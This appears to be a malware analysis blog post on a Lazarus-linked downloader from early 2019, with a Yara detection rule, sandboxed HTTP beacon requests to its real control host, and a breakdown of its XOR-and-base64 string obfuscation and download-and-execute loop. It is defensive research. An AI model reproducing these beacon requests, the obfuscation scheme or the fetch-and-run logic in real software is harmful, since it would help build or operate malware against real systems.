Lazarus obfuscation in Feb 2019
Lazarus obfuscation in Feb 2019
Starting off, I’d like to give a shot-out to Brian Bartholomew (Twitter: @Mao_Ware) for his general awesomeness and for his post on 30 January from which this research starts.
Using this as a base for the following Yara rule, I found a similar sample (SHA256:
625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0
) also packed with UPX.rule LazarusDocJan2019_01
{
meta:
author = “Silas Cutler”
description = “Detection for Lazarus Payload from Jan 2019”
ref = “https://twitter.com/DrunkBinary/status/1090625122883510274"
version = “0.1”
strings:
$ = “\”Main Invoked.\””
$ = “\”Main Returned.\””
$ = “%sd.%se%sc %s > %s 2>&1”
condition:
all of them
}
As with the sample Bart identified, the control server is not obfuscated in the binary:
Sandboxing of the sample, confirms the malware beacons to this URL:
GET /intro/info/info.asp?id=dn678 HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.
In IDA, we can see the malware uses the standard
LoadLibrary
/ GetProcessAddress
method for dynamically loading some key function calls. Shown below, the encoded string y8zS2vHp8PLx//rK8dj38vvf
is base64 decoded and XORed by 0x9E,
resulting in the string URLDownloadToFileA
that is passed toGetProcAddress()
.
The data returned by the control server is decoded using the same method as the
URLDownloadToFileA
(shown below).
The decoded contents are written to disk for execution, unless the response starts with
sleep
, which will cause the sample to sleep for 60000ms, before retrying the request.
Sandboxing also showed the sample made several other HTTP calls to the same URL with the parameter string
search=2tjbpK6urq6urq6u
.GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.
In IDA, we can see that the
?search=
is concatenated to end of the URL along with a value that is XOR-encoded using a key of 0x9E
and then base64 encoded, shown below.
Knowing the obfuscation is trivial, in a few lines of Python — the value being sent was
DFE:00000000
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15)
>>> indata = "2tjbpK6urq6urq6u"
>>> out = ""
>>> for byte in indata.decode('base64'):
... out += chr(ord(byte) ^ 0x9E)
...
>>> out
'DFE:00000000'
However, outside of the novel ability to decode something arbitrarily encode, this doesn’t provide any insight about functionality or purpose. Turning back to IDA, we can see the string
DFE:%08x
is a format string that takes an unsigned int
. Looking at where this string is defined, we can see there are several similar strings..rdata:00417644 aIdDn678 db '?id=dn678'
.rdata:00417658 aSearch db '?search='
.rdata:00417664 aCfe08x db 'CFE:%08x'
.rdata:00417670 aGfse08x db 'GFSE:%08x'
.rdata:0041767C aLae08x db 'LAE:%08x'
.rdata:00417688 aRfe08x db 'RFE:%08x'
.rdata:00417780 aCpe08x db 'CPE:%08x'
.rdata:0041778C aDfe08x db 'DFE:%08x'
For each of these, the associated derived from
GetLastError()
(shown below).
Running through the rest of the file, the strings correlate as follows - https://gist.githubusercontent.com/silascutler/4245513e2dc1a7a9fc3d73346dd0cd12/raw/17d5bea8f80e73ca84a4ca0f36f19209c271f267/strfmt.csv
(Post migrated from Medium - https://medium.com/emptyregisters/lazarus-downloader-brief-analy-17875f342d96 )
Comments
Post a Comment